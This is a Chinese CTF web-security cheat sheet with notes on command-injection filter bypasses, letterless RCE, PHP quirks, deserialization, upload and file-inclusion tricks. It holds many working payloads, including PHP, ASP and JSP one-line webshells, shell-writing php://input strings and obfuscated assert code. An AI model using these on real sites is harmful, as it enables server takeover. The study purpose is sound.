- 引言
- 隐藏内容
- 正则绕过
- 命令执行
- 无字母RCE
- PHP字符串解析漏洞
- PHP常见函数
- PHP特性
- 反序列化
- 文件上传
- 文件包含
- XSS
- XXE
- 源码泄露
- 松散比较
- 常见函数绕过
- SQL注入
- 无参数RCE
- PHPINFO关注点
- JAVA
- 模板注入
- 暴力破解
- 流量包分析
- 常见命令
- 正则匹配
- 其他
- 脚本
- 工具参数
引言
开始做题扫泄露 页面有互动就页面上完成 页面有内容可以挖掘就从页面入手 没有思路就抓包分析 再没有思路就第三方工具尝试 数字过滤绕过构造首先考虑特性,再考虑位运算
隐藏内容
- 页面黑黢黢,拖鼠标扒拉扒拉同颜色字体
- 查看页面源码直接看元素
- 扫描网站查看隐藏文件
- php://filter查看页面源码
- robots.txt隐藏页面文件(对于不能扫目录的网站更好用)
- 手动猜测隐藏的网页例如
register.php
正则绕过
空格绕过
$IFS
-
IFS(Internal Field Separator)内部字段分隔符,默认为空格,换行,制表符
$IFS
${IFS}
$IFS$1
//$1改成$加其他数字貌似都行<
<>
{cat,flag.php}
//用逗号实现了空格功能%20
(空格)%09
(制表符tab)%0a
(换行符)过滤中可能过滤数字,但这里的编码在检测的时候不算数字%0b
(垂直制表)%0c
(换页符)%0d
(回车)%00
(空字符)
分号
php
中如果?>
没有被代替可以用其来代替分号
,因为php
中最后一条语句可以没有分号
关键字(全字匹配)
-
\
linux
下将关键字用\
分隔,可以起到换行连接输入的作用,但是关键字全字匹配不到 -
通配符
是通配符代替敏感词中的某一部分,可以对特定文件执行操作
-
''
shell特性,
两个单引号
插在字符串中间,执行的时候自动忽略 -
.
source命令刷新当前
shell
环境 在当前环境使用source
执行shell脚本
-
换命令
cat->tac(逆向输出)->more(分页输出)->less(分页输出)->tail(文件最尾部信息)
tac
逆向输出文件内容
tail
显示文件尾部内容
-c<数目>显示的字节数 -n<行数>显示的行数行数>数目>
head
显示文件开头的内容
-c<数目>显示的字节数 -n<行数>显示的行数行数>数目>
od
将文件内容以八进制形式输出
nl
将文件添加行号标注后写到标准输出
清奇思路
-
命令执行变量拼接
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
-
过滤bash用sh执行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
-
内联执行
?ip=127.0.0.1;cat$IFS$9
ls`` -
造参传参
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
c=eval($_GET[1]);&1=system('cat flag.php');
c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
-
通配符
如果要对含有关键字的文件进行访问,可以使用
cp
命令结合通配符将文件拷贝到新的文件中,访问新建文件读取源文件内容cp fla?.php 1.txt url/1.txt
-
移花接木
既然可以命令执行,那就把对应文件中的内容
cp
到新的文档中,然后对文档内容输出,间接读取
命令执行
概述
命令执行用到的方法在其他板块中也有,主要就是绕过过滤,包含的内容可能是空格绕过,php特性,shell特性,无参RCE,或者无字母RCE
常见方法
PHP特性命令
return 1-phpinfo()-1
这样可以执行命令,中间的字符’-‘可以替换成其他字符
return 1?phpinfo():1
三目运算符,可以执行命令
中断进程
ob_get_contents();
ob_end_clean();
获取缓冲区内容,清除缓冲区内容,后面再跟一个替换内容的函数,我们传参可以直接在后面跟 exit(0);
退出进程,停止执行后面点函数
直接函数使用
echo highlight_file(xxx.php);
show_source(),file_get_contents(),readfile()
造参传参
include($_GET[1])
1=php:\/\/filter/read=convert.base64-encode/resource=xxx.php
包含指定文件变量
include('flag.php');echo $flag;`
变量输出
include('flag.php');var_dump(get_defined_vars());
//先包含文件,在不知道对应变量名的情况下输出所有变量
如果是txt文本,包含之后默认自动输出,没有php标签
目录查看
var_dump(scandir("/"));
print_r(scandir("."));
var_export();
如果scandir目录被封就用*glob://*协议
$c=$it=new DirectoryIterator("glob:///*.txt");//找到所有txt文件
foreach($it as $f) {//遍历输出
printf("%s\n", $f->getFilename());//输出文件名
}exit();
数据库对象PDO
PDO
:PHP数据对象提供了一个数据访问抽象层,不管使用哪种数据库,都可以用相同的函数(方法)来查询获取数据。
try {
$dbh = new PDO($dsn, $user, $pass); //初始化一个PDO对象
echo "连接成功<br/>";
/*你还可以进行一次搜索操作
foreach ($dbh->query('SELECT * from FOO') as $row) {
print_r($row); //你可以用 echo($GLOBAL); 来看到这些值
}
*/
$dbh = null;
} catch (PDOException $e) {
die ("Error!: " . $e->getMessage() . "<br/>");
}
c=try {$dbh= new PDO('mysql:host=localhost;dbname=ctftraining','root','root');foreach($dbh->query('select load_file("/flag36.txt")')as $row){echo($row[0])."|";}$dbh=null;}catch (PDOException $e){echo $e->getMessage();exit(0);}exit(0);
UAF(use after free)
-
概述
应用程序调用
free()
释放内存时,如果内存块小于256kb
,dlmalloc
并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放回内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(主要原因,我觉得应该是为了提高效率)。当dlmalloc
种空闲内存达到一定值时dlmalloc
才将空闲内存释放回内核。如果应用程序申请的内存大于256kb
,dlmalloc
调用mmap()
向内存申请一块内存,返还给应用程序使用。如果应用程序释放的内存大于256kb
,dlmalloc
马上调用munmao()
释放内存。dlmallloc
不会缓存大于256kb
的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。 -
正文
如此可见,如果
p1
指针指向的地址里面有一个函数p1[3]=echo
,后来对p1
空间进行释放,虽然释放了,但是内存还没有归还,还可以继续调用,然后申请一个和p1
相同大小的p2
空间,那么系统就还会把p1
的空间分配给p2
,此时对p2
进行修改,就会修改p1
中的内容,替换函数为p2[3]=system
,然后再调用p1[3]
就可以执行系统命令了
FFI(语言交互接口)
c=$ffi=FFI:cdef("int system(const char *command);");
$a='/readflag > /var/www/html/1.txt';
$ffi->system($a);exit();
命令构造
用于system()
从当前路径中截取字母构造读取命令nl.cat等等等等
${PATH:~0}${PWD:~0}$IFS????.???
~数字或者字母都代表从最后往前数第几个字母,从这个位置开始截取后面的字符串
#
代表取长度,#SHLVL
深度数字的长度为1,也就是深度是一个数字,对深度取长度就是1
/var/www/html # ls /bin
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
cat flag.php
- 常用变量
${PATH}当前路径
${SHLVL}深度
${HOME}
${PWD}当前目录
${BASH}
${PHP_VERSION}PHP版本
${PHP_CFLAGS}
shell命令
base64
(1)base64 file
功能:从指定的文件file中读取数据,编码为base64的字符串然后输出;
(2)echo “string” | base64
功能:将字符串string+换行编码为base64的字符串然后输出;
(3)echo -n “string” | base64
功能:将字符串string编码为base64的字符串然后输出;
无字母RCE
位运算异或RCE
找到两个非字母的字符,使得两者二进制异或之后变为对应字母就可,将它们连接起来然后传进去okk
异或运算,二进制字符进行比较,相同返回0
,不同返回1
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
位运算取反RCE
利用UTF-8
编码中的某个汉字,将其中的某个字符提取出来,比如'和'{2}
的结果是\x8c
,其取反为字母s
$(())
数学运算(适用于多种进制)
$(())=0
~$(())=~0 #取反
$((~$(())))=-1 #对-0进行数学运算
$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(()))))))) #36 先对零取反再运算得-1,36个-1相加再取反得36
页面构造
构造上传文件页面,php不能判断这个页面之后还会不会用到,就会先保留在临时目录下 /tmp/phpxxxxxX(五个小写字母一个大写字母)
linux cmd命令正则
- linux下’'可以用在命令行中,用在行尾可以换行并连接上一行命令尾部,也就是起换行的作用,但是命令不会中断,所以可以用来绕过完整匹配模式的正则匹配
PHP字符串解析漏洞
PHP会将URL或者body中的查询字符关联到$_GET或者$_PSOT,例如?num=asd
代表Array([num]=>"asd")
,但是查询字符串在解析的过程中会将某些字符删除或者用下划线代替,例如?%20num[01=asd
代表着Array([num_01]=>"asd")
,其中空格被删去并且中括号被替换成了下划线,利用这一点就可以对防火墙检测策略进行绕过。
如果检测的是页面GET的num
变量,但是传值传的是%20num
,在检测过程中找不到num
变量,但是在解析过程中PHP依旧会将%20num
值赋给num
,从而达到绕过检测并传递非法值的目的。
PHP常见函数
内容参见php常用的系统函数大全
字符串函数
|函数|描述| |:-:|:-:| var_dump |判断一个变量的类型与长度,如果变量有值就输出变量的类型与值 strlen |获取字符串长度,字节长度 substr_count|某字符串出现的次数 substr |字符串截取,获取字符串(按照字节进行截取) mb_strlen mb_substr strchr |与substr相似,从指定位置截取一直到最后 strrchr(获取文件后缀)|与strchr一样,只是从右边开始查找字符 strtolower |所有的字符都小写(针对英文字母) strtoupper |所有的字符都大写 strrev |字符串反转(只能反转英文:英文存储只有一个字节),按照字节进行反转 strpos |从字符串中找对应字符出现的位置(数字下标),从最左边开始找 strrpos |与strpos一样,只是从字符串的右边开始找 trim |去掉函数两边的字符,默认是空格 str_split |函数把字符串分割到数组中。 chunk_split()|函数把字符串分割为一连串更小的部分 str_repeat(“Shanghai”,5)|把字符串 “Shanghai “ 重复 5 次 str_replace(‘\’,’/’,dirname(DIR)))|替换 ucfirst |首字母大写 ***
时间日期函数
|函数|描述| |:-:|:-:| time |得到当前时间的时间戳(整型:从格林威治时间1970年1月1日0时0分0秒开始)秒数 date|时间序列化函数,将指定的时间戳转换成规定时间日期的显示格式(随意的字符串:有专业的格式符规定),如果没有指定时间戳,系统默认使用当前时间的时间戳 strtotime |时间日期格式的字符串转换成对应的时间戳(只要是正确的英语时间表达方式,都可以进行转换) microtime |微秒时间戳,根据不同的要求返回不同的结果 混合 microtime (布尔类型 ),可以返回一个浮点数的时间,也可以返回一个数组(时间戳和微秒数) ***
数学相关函数
|函数|描述| |:-:|:-:| abs |绝对值 floor |向下取整 floor(3.2) 结果等于3 ceil |向上取整 round |四舍五入 rand |取得一个指定范围内的随机整数 mt_rand |取得一个指定范围内的随机整数(效率更高) min |PHP 会将非数值的 string 当成 0,但如果这个正是最小的数值则仍然会返回一个字符串。如果多个参数都求值为 0 且是最小值,min() 会返回按字母表顺序最小的字符串,如果其中没有字符串的话,则返回数值的 0; max |PHP 会将非数值的字符串当成 0,但如果这个正是最大的数值则仍然会返回一个字符串。如果多个参数都求值为 0 且是最大值,max() 会返回其中数值的 0,如果参数中没有数值的 0,则返回按字母表顺序最大的字符串。对于多个数组,max从左到右比较;如果同时出现数组和非数组参数总把数组作为最大值返回;
数组相关函数
|函数|描述| |:-:|:-:| count() // 非数组返回1 key |获取当前数组当前指针所指向的元素的下标 current |获取的当前指针指向元素的数值 next |获取下一个元素的值,并且将指针下移 prev |获取上一个元素的值,并且将指针上移 end |将指针移到数组的最后一个元素,并返回最终指针位置的值 reset |将指针移到数组的第一个元素,返回最终指针位置的值 array_keys |获取一个数组的所有键名,返回一个索引数组 array_values|获取一个数组的所有值,返回一个索引数组 explode |爆炸,将一个字符串按照某个指定的规则(通常是特殊字符),将数组分成多个段,每一段都当做一个数组的元素,返回一个索引数组 split |类似 explode explode(‘.’, ‘abc.txt’)等于split(‘.’,’abc.txt’) implode |粘合,将一个数组内部的所有元素按照某个指定的规则(特殊字符),将所有的元素拼接成一个字符串 join() | 把数组元素组合为一个字符串 array_merge |合并,指的是将两个数组中的元素进行累计。如果后面的数组与前面的数组有下标(键名:关联)相同的,那么后面的元素的值会覆盖前面的;如果是索引的相同下标,会自动的修改下标叠加到前面的数组里。 array_reverse| 返回反转后的数组,也就是说原来数组倒数第二个元素变为正数第二个元素 array_flip |交换数组中的键和值 数据结构模拟函数# array_shift |从数组的前面弹出元素,得到元素的值 array_pop |从数组的后面弹出元素,获得元素的值 array_unshift|从数组的前面压入元素,得到当前数组元素的个数 array_push |从数组的后面压入元素,得到当前数组元素的个数
判断变量
|函数|描述| |:-:|:-:| is_bool |判断是否是布尔类型 is_float |判断浮点型 is_integer |判断整型 is_object |判断对象 is_array |判断数组 is_string |判断字符串 is_resource |判断资源 is_scalar |scalar是标量的,判断是基本数据类型:整型,浮点型,布尔型和字符串型 is_null |检测变量是否为NULL 是返回TRUE 否则返回false。1.被赋值为NULL;2.变量没被赋值;3.被unset() is_numeric |判断数字或者纯数字组成的字符串 gettype |获得数据类型 settype |改变数据类型 isset unset() |如果在函数中 unset() 一个全局变量,则只是局部变量被销毁,而在调用环境中的变量将保持调用 unset() 之前一样的值,如果在函数中 unset() |一个通过引用传递的变量,则只是局部变量被销毁,而在调用环境中的变量将保持调用 unset() 之前一样的值。 empty |array(),”“,0,”0”,NULL,FALSE 都返回true
文件操作函数(重要!!)
|函数|描述| |:-:|:-:| opendir(路径) |打开一个路径资源(将路径内部的所有数据读入到内存) readdir(路径资源) |从文件夹资源中读取当前资源指针所指向的文件的名字,指针会向下移动一位 closedir(资源) |释放对应的文件资源 scandir(路径) |读取一个路径内部的所有文件名,返回一个数组,数组的每一个元素都是文件名。 file_exists |判断一个文件是否存在(文件是广义:路径和文件) is_dir |判断一个指定路径是否存在(文件夹) is_file |判断一个指定路径是否是文件(文件) mkdir |创建一个路径,如果路径存在就会报错 rmdir |移除文件夹 file_get_contents |从一个指定的文件内读取数据内容。 file_put_contents |将指定的字符串写入到对应的文件 fopen |打开一个文件资源 fgetc |c代表character,一次读取一个字符 fgets |s代表string,代表可以读取多个字符,取决于指定的读取长度或者是否碰到换行(最多只能读取一行数据) 两个函数都是对当前资源指针进行操作,读取之后都会将指针下移 fread |获取指定长度的数据直到文件结束 fwrite |向文件资源指针所在的位置写入数据,写东西不会将当前位置已有的东西往后移,而是会覆盖 fseek |将指针指定到对应的位置 fclose |使用对应的文件资源 copy |复制 unlink |删除文件 rename |重命名文件 filemtime |m代表modify,文件最后被修改的时间 filesize |文件大小(字节) fileperms |文件权限(Linux下的八进制)
排序
|函数|描述| |:-:|:-:| rsort() |函数用于对数组单元从高到低进行排序。 asort() |函数用于对数组单元从低到高进行排序并保持索引关系。 arsort() |函数用于对数组单元从高到低进行排序并保持索引关系。 ksort() |函数用于对数组单元按照键名从低到高进行排序。 krsort() |函数用于对数组单元按照键名从高到低进行排序。
报错
|函数|描述| |:-:|:-:| error_reporting(E_ALL) ini_set(‘display_errors’, 1)
常量
|函数|描述| |:-:|:-:| define() 定义常量 defined() 检测常量是否定义
序列化
|函数|描述| |:-:|:-:| serialize unserialize json_encode|对变量进行 JSON 编码 json_decode|对JSON 格式的字符串进行编码
编码
base64_encode 编码
本函数将字符串以 MIME BASE64 编码。在 BASE64 编码后的字符串只包含英文字母大小写、阿拉伯数字、加号与反斜线,共 64 个基本字符,不包含其它特殊的字符,因而才取名 BASE64。
base64_decode 解码
PHP特性
短标签
-
<? echo '123';?>
前提是开启配置参数short_open_tags=on -
<?=(表达式)?> 等价于 <?php echo (表达式)?>
不需要开启参数设置 -
<% echo '123';%>
前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了 -
<script language=”php”>echo '123'; </script>
不需要修改参数开关,但是只能在7.0以下可用。
函数绕过
strcmp()
strcmp()函数的作用是比较两个字符串
如果 str1 小于 str2 返回 < 0;如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0
strcmp函数无法比较数组,返回0
intval()
通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
数组是对象,可以通过传数组判断方法
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。 intval(mixed $value, int $base = 10): int//要转换成 integer 的数量值,转化所使用的进制 如果 base 是 0,通过检测 value 的格式来决定使用的进制:
如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,如果字符串以 “0” 开始,使用 8 进制(octal);否则,将使用 10 进制 (decimal)。
echo intval(42); // 42 echo intval(4.2); // 4 echo intval('42'); // 42 echo intval('+42'); // 42 echo intval('-42'); // -42 echo intval(042); // 34 echo intval('042'); // 42 echo intval(1e10); // 1410065408 echo intval('1e10'); // 1 echo intval(0x1A); // 26 echo intval(42000000); // 42000000 echo intval(420000000000000000000); // 0 echo intval('420000000000000000000'); // 2147483647 echo intval(42, 8); // 42 echo intval('42', 8); // 34 echo intval(array()); // 0 echo intval(array('foo', 'bar')); // 1
intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
intval对加号或者空格开头的数字会自动进行去空处理
- 绕过
is_numeric
判断参数是否为数字,数字前加(空)可以绕过 常用空字符
%20---普通空格
%09---制表符
%0a---换行符
%0d---回车符
%00---空字节符
%0B---垂直制表符
以上是trim()函数去除的
%0c---换页符
preg_match
正则匹配,有正则溢出 250000次
内置类
利用内置类结合函数执行,可以在类创造的时候执行对应代码
反射类ReflectionClass
echo new ReflectionClass() 可以将括号中的语句在类构建时执行
迭代器FilesystemIterator
目录迭代器
v1=FilesystemIterator&v2=getcwd
变量覆盖
(PHP中的变量覆盖漏洞)[https://www.cnblogs.com/xhds/p/12587249.html]
extract(array,extract_rules,prefix)
变量覆盖
[安洵杯 2019]easy_serialize_php
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。
当我们传入SESSION[flag]=123
时,$SESSION["user"]
和$SESSION['function']
全部会消失。
parse_str()
parse_str() 函数把查询字符串解析到变量中
。
注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
extract(_POST)@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
像这种情况,如果你GET传一个_POST[]数组,那么就会覆盖原有准备`$_POST`传参的变量,也就是说,原来是需要POST传参的,但是现在被GET传的同名数组给替换了。
动态变量覆盖
foreach($_GET as $key=>$value)
意思就是将get的赋值变为$key=$value
if get:a=b
也就是说($key=a)=>($value=b)
$bar= "a";
$Foo="Bar";
$World="Foo";
$Hello="world";
$a="Hello";
echo $a; //hello
echo $$a; //world
echo $$$a; //foo
echo $$$$$a; //Bar
echo $$$$$$a; //a
echo $$$$$$$a; //hello
echo $$$$$$$$a; //world
parse_str(string,result)变量覆盖
该函数将查询的字符串解析到变量中 parse_str(string,array)
parse_str("name=xiaohua&age=22"); echo $name."<br>"; echo $age; ?> //xiaohua //22
如果 string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。
import_request_variables()
(PHP 4 >= 4.1.0, PHP 5 < 5.4.0) 将 GET/POST/Cookie 变量导入到全局作用域中
register_globals()
在PHP5.3之前 默认开启 PHP5.3默认关闭 PHP5.6及5.7已经被移除 当register_globals全局变量设置开启时,传递过来的值会被直接注册为全局变量而使用,这会造成全局变量覆盖
非法变量转换
PHP变量中包含
数字字母下划线
,PHP对定义的非法变量进行转换,但是在整个非法变量中只转换一次,也就是说,如果一个变量中出现两个非法字符,将只转换第一个,对第二个不进行转换。
what[123.com => what_123.com #此处只对第一处非法字符进行转换,而没有转换`.`
反序列化
序列化与反序列化只是数据形式的变换,所以并不是只针对于定义好的类。
$a=’what’;echo serialize($a);//s:5:”what?”
对一个对象进行序列化,只是将其属性数据保存起来,但是并不保存其方法,因为方法并不是数据
##
魔法函数
_wakeup()函数绕过
5.6版本?以下使序列化后的数据对象个数与实际不符,就可以。
7.4版本以上,如果类中有__unserialize()方法的话自动绕过__wakeup()魔法函数
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。 __destruct: 和构造函数相反,当对象所在函数调用完毕后执行。 __toString:当对象被当做一个字符串使用时调用。 __sleep:序列化对象之前就调用此方法(其返回需要一个数组) __wakeup:将在反序列化之后立即被调用,反序列化恢复对象之前调用该方法 __call:当调用对象中不存在的方法会自动调用该方法。 __get:在调用私有属性的时候会自动执行 __isset()在不可访问的属性上调用isset()或empty()触发 __unset()在不可访问的属性上使用unset()时触发 __invoke() 将对象当作函数来使用的时候,会自动调用该方法
字符逃逸
-
增字符适用场景
通常用于先对一个类序列化之后再进行
字符替换
,然后再进行反序列化,此时序列化中被替换后的字符串如果和其标明的长度不相符,比如标明长度为6
,但是字符串长度却为7
,就会造成一个字符逃逸读不到,提前寻找闭合,利用这个特性就可以构造payload
public $name='aaaabbbbbbb";s:4:"pass";s:6:"hacker;}";'
只是举个例子,就构造类似这样的就行,后面的闭合有多长就要逃逸多少个字符
如果是以数组形式传入的话要注意将各个部分用}再分隔一次,见[0ctf2016 piapiapia]
-
减字符使用场景
[安洵杯 2019]easy_serialize_php
过滤之后将原来的关键字替换为
空
,也就是说,标明长度为6
,实际为0
,就会继续向后读,找到长度为6
的闭合,
对象逃逸
方法引用
- call_user_func() 回调函数的使用方法,数组 ```php // Type 1: Simple callback call_user_func(‘my_callback_function’);
// Type 2: Static class method call call_user_func(array(‘MyClass’, ‘myCallbackMethod’));
// Type 3: Object method call $obj = new MyClass(); call_user_func(array($obj, ‘myCallbackMethod’));
// Type 4: Static class method call (As of PHP 5.2.3) call_user_func(‘MyClass::myCallbackMethod’);
// Type 5: Relative static class method call (As of PHP 5.3.0)
## 小技巧
* 换列名
```php
alter table 表名 change column `原列名` `现列名` 类型(长度)/*varchar(212)*/
```
将密码列与id列互换,这样select密码就是在select id,大大降低密码爆破难度,只要id和用户名对就能登录,使用堆叠注入
* `十六进制检测`
mysql支持十六进制值查询,在数字上下文中,十六进制数如同整数(64位精度)。在字符串上下文,如同二进制字符串,每对十六进制数字被转换为一个字符
* `赋值引用`
```php
// ctfshow 265
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
```
* 大小写检测
PHP内对函数不区分大小写,类也不区分大小写,只有变量名区分
出现这样强制修改值的题,就用引用变量的方法,使两块变量的空间地址一样,这样一改就导致两个值都变化,等式恒成立
# 文件上传
>(Web漏洞_文件上传总结(前端js验证、后端验证、DVWA1.9版本实验)
)[https://blog.csdn.net/BeatRex/article/details/84625658]
一篇不错的博客拿来借鉴
## 前端验证
* 通过浏览器审查元素对网页的代码查看,找到对文件格式或大小的限制然后修改即可
* 通过Burpsuite工具对浏览器进行代理,抓包对包里的内容进行修改
* 浏览器禁用JavaScript脚本
## 后端验证
* MIME类型验证
* 文件后缀验证
* 文件路径验证(权限问题)
* 文件内容验证
### 类型绕过
* 改MIME
* 改数据包的content-type字段
* 改文件头
* 利用服务器解析漏洞
* 点绕过
* $data::绕过
* 00截断
## 一句话木马
* 简介
Webshell是指以asp,jsp,php或者cgi等网页形式存在的以中`命令执行环境`,也可以叫做网页后门
由于webshell大多是以动态脚本形式出现,有人称之为网站的后门工具,`常常被站长用来管理网站`
但是一旦被攻击者得到可以利用它来达到长期控制网站服务器的目的,并获得执行权限
*
>要注意的是一句话里面的“[]”可以替换为“{}”
* php
```php
<?php @eval($_POST[x]);?>
<?php system($_GET['cmd']);?>
<?php assert($_REQUEST[cmd]);?>
<?php @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");?>
<?php
$func =create_function('',$_REQUEST['cmd']);
$func();
?>
```
* asp
```s
<%eval request("777")%>
<%execute request("777")%>
<%execute(request("777"))%>
<%executeGlobal request("777")%>
<%eval(Request(chr(35)))%> #ASCII码值
<%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd")).stdout.readall%>
```
* aspx
`<%@ Paage Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>`
* phtml
`<script Language="php">eval($_REQUEST[shell])</script>`
* jsp
>执行系统命令且有回显
```jsp
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b,0,a));
}out.print("</pre>");
}%>
```
## 配置文件
* .htaccess
.htaccess是伪静态环境配置文件,用于lamp,apache
* .user.ini
>[参见----->](https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html)
`.user.ini`是`lnmp`文件,里面放的是网站的文件夹路径地址,目的是放指跨目录访问和文件跨目录读取
.user.ini只对他同一目录下的文件起作用
自`PHP5.3.0`起,PHP支持基于每个目录的INI文件配置,此类文件仅被CGI/FastCGI SAPI处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
除了`主php.ini`之外,PHP还会在每个目录下扫描INI文件,从被执行的PHP文件所在目录开始一直上升到`web根目录`($_SERVER['DOCUMENT_ROOT']所指定的)。如果被执行的PHP文件在web个目录之外,则`只扫描该目录`。
在`.user.ini`风格的INI文件中只有具有`PHP_INI-PERDIR`和`PHP_INI_USER`模式的INI设置可被识别。
两个新的INI指令,`user_ini.filename`和`user_ini.cache_ttl`控制着用户INI文件的使用。
`user_ini.filename`设定了PHP会在每个根目录下搜寻的文件名;如果设定为空字符串则PHP不会搜寻。默认值是`.user.ini`。
`user_ini.cache_ttl`控制着重新读取用户INI文件的间隔时间。默认是`300秒(5分钟)`。
```php
auto_append_file=//在文件底部加载文件
auto_prepend_file=//在文件顶部加载文件
```
## 常见文件头
JPEG (jpg), 文件头:FFD8FF
PNG (png), 文件头:89504E47 文件尾:0000000049454E44AE426082
GIF (gif), 文件头:47494638
ZIP Archive (zip), 文件头:504B0304 文件尾:00000000
TIFF (tif), 文件头:49492A00
Windows Bitmap (bmp), 文件头:424D
CAD (dwg), 文件头:41433130
Adobe Photoshop (psd), 文件头:38425053
Rich Text Format (rtf), 文件头:7B5C727466
XML (xml), 文件头:3C3F786D6C
HTML (html), 文件头:68746D6C3E
Email [thorough only] (eml), 文件头:44656C69766572792D646174653A
Outlook Express (dbx), 文件头:CFAD12FEC5FD746F
Outlook (pst), 文件头:2142444E
MS Word/Excel (xls.or.doc), 文件头:D0CF11E0
MS Access (mdb), 文件头:5374616E64617264204A
WordPerfect (wpd), 文件头:FF575043
Adobe Acrobat (pdf), 文件头:255044462D312E
Quicken (qdf), 文件头:AC9EBD8F
Windows Password (pwl), 文件头:E3828596
RAR Archive (rar), 文件头:52617221
Wave (wav), 文件头:57415645
AVI (avi), 文件头:41564920
Real Audio (ram), 文件头:2E7261FD
Real Media (rm), 文件头:2E524D46
MPEG (mpg), 文件头:000001BA
MPEG (mpg), 文件头:000001B3
Quicktime (mov), 文件头:6D6F6F76
Windows Media (asf), 文件头:3026B2758E66CF11
MIDI (mid), 文件头:4D546864
## 常见MIME类型
* `zip`
Content-Type: application/x-zip-compressed
## 骚操作写马
>https://yn8rt.blog.csdn.net/article/details/119425905
>通过对特定组合字符进行操作来拼接出一句话
* 111
```php
$a="s#y#s#t#e#m";
$b=explode("#",$a);
$c=$b[0].$b[1].$b[2].$b[3].$b[4].$b[5].$b[6];
$c($_REQUEST[1]);
- 222
$a=substr("1s",1).'ystem'; $a($_REQUEST[1]);
- 333 ```php $a=strrev(‘metsys’); $a($_REQUEST[1]);
* 444
```php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
小技巧
-
传文件
ctfshow 169 传zip改content-type为image/png,然后利用日志包含auto_append_file=/var/log/nginx/access.log
文件包含
常用来写入shell、命令执行
常用伪协议
https://www.php.net/manual/zh/wrappers.data.php
php://input
是一个可以访问原始数据的只读流
`file_get_contents(php://input)`接收post数据//ctfshow 266
`php://input <?PHP fputs(fopen('shell.php','w'),<?php eval($_REQUEST[c])?>)?>` (写入shell)
`php://input <?php system('whoami');?>`
-
php://filter
php://filter/read=convert.base64-encode/resource=xxx.php
(读文件源码)php://filter/write=string.rot13/resource=2.php
(写入文件按)php://filter/resource=flag.php
(读文件源码)php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
(读文件源码)php://filter/read=convert.quoted-printable-encode/resource=flag.php
(读文件源码)compress.zlib://flag.php
(读文件源码) -
data://text
data://text/plain,<?php phpinfo();?>
(相当于代码执行)data://text/plain;base64,xxxxxx
(打印内容) -
zlib://
压缩流compress.zlib://a.txt
(读文件)compress.bzip2://file.bz2
日志包含
-
概述 当没有上传点,也没有
url_allow_include()
功能时,我们可以考虑包含服务器的日志文件
,原理是,当访问网站时日志会记录我们的行为,如果访问连接中包含一句话吗木马,也会被记录到日志中。这时候我们如果知道服务器的日志位置,我们可以去包含这个文件从而拿到shell
,关键步骤就是找日志存放的物理路径
。
日志路径
-
linux
-
nginx
/var/log/nginx/access.log
-
session包含(无后缀文件包含)
-
PHP_SESSION_UPLOAD_PROGRESS
-
概述
当向服务器上传一个文件的时候,服务器会把文件上传的时间以及进度保存在session当中,当上传文件结束之后就会立即清空session文件中的内容。
如果
session.use_strict_mode
值默认为0,可以自定义设置Session ID
,如果设置PHPSESSID=TGAO
